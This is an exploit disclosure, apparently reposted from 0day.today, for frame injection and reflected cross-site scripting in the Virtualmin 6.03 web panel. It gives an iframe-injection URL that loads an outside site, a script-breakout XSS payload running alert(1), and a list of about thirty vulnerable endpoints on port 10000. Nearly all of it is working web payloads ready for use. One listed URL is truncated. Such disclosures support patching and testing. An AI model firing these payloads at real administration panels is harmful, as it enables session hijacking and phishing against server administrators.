Virtualmin 6.03 Multiple Vulnerabilities

# Exploit Title: Virtualmin 6.03 Multiple Vulnerabilities
# Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com)
# Vendor Homepage: https://www.virtualmin.com/
# Software Link: https://www.virtualmin.com/download.html
# Version: 6.03
# Tested on: Centos 7
# Vulnerability Types: Frame Injection & Cross-site Scripting
# CVE: -
 
--- Vulnerability Name: Frame Injection ---
 
URL: https://localhost:10000/settings-editor_read.cgi?file=<iframe src="https://seccops.com/?"></iframe>  
Parameter Name: file
Parameter Type: GET
Attack Pattern: %3Ciframe%20src%3D%22https%3A%2F%2Fseccops.com%2F%3F%22%3E%3C%2Fiframe%3E
 
--- Vulnerability Name: Query Based & Query String Cross-site Scripting ---
 
Payload: '"--></style></scRipt><scRipt>alert(1)</scRipt>
 
For Example: https://localhost:10000/webmin_search.cgi?'"--></style></scRipt><scRipt>alert(1)</scRipt>
 
Proof URLs:
https://localhost:10000/webmin_search.cgi?
https://localhost:10000/virtual-server/restore_form.cgi? 
https://localhost:10000/virtual-server/provision.cgi? 
https://localhost:10000/virtual-server/migrate_form.cgi?
https://localhost:10000/virtual-server/list_sched.cgi?
https://localhost:10000/virtual-server/list_running.cgi?
https://localhost:10000/virtual-server/list_clouds.cgi?
https://localhost:10000/virtual-server/list_buckets.cgi?
https://localhost:10000/virtual-server/index.cgi?
https://localhost:10000/virtual-server/import_form.cgi?
https://localhost:10000/virtual-server/edit_newvalidate.cgi?
https://localhost:10000/virtual-server/edit_newtmpl.cgi?
https://localhost:10000/virtual-server/edit_newsharedips.cgi?
https://localhost:10000/virtual-server/edit_newscripts.cgi?
https://localhost:10000/virtual-server/edit_newplan.cgi?
ps://localhost:10000/virtual-server/edit_newmysqls.cgi?
https://localhost:10000/virtual-server/edit_newips.cgi?
https://localhost:10000/virtual-server/edit_newglobal.cgi?
https://localhost:10000/virtual-server/edit_newfeatures.cgi?
https://localhost:10000/virtual-server/edit_newdynip.cgi?
https://localhost:10000/virtual-server/edit_newchroot.cgi?
https://localhost:10000/virtual-server/edit_newchangelog.cgi?
https://localhost:10000/virtual-server/edit_newbw.cgi?
https://localhost:10000/virtual-server/check.cgi?
https://localhost:10000/virtual-server/backuplog.cgi?
https://localhost:10000/virtual-server/backup_form.cgi?
https://localhost:10000/virtual-server/?
https://localhost:10000/sysinfo.cgi?
https://localhost:10000/index.cgi/?
https://localhost:10000/acl/?
https://localhost:10000/?

#  0day.today [2018-10-10]  #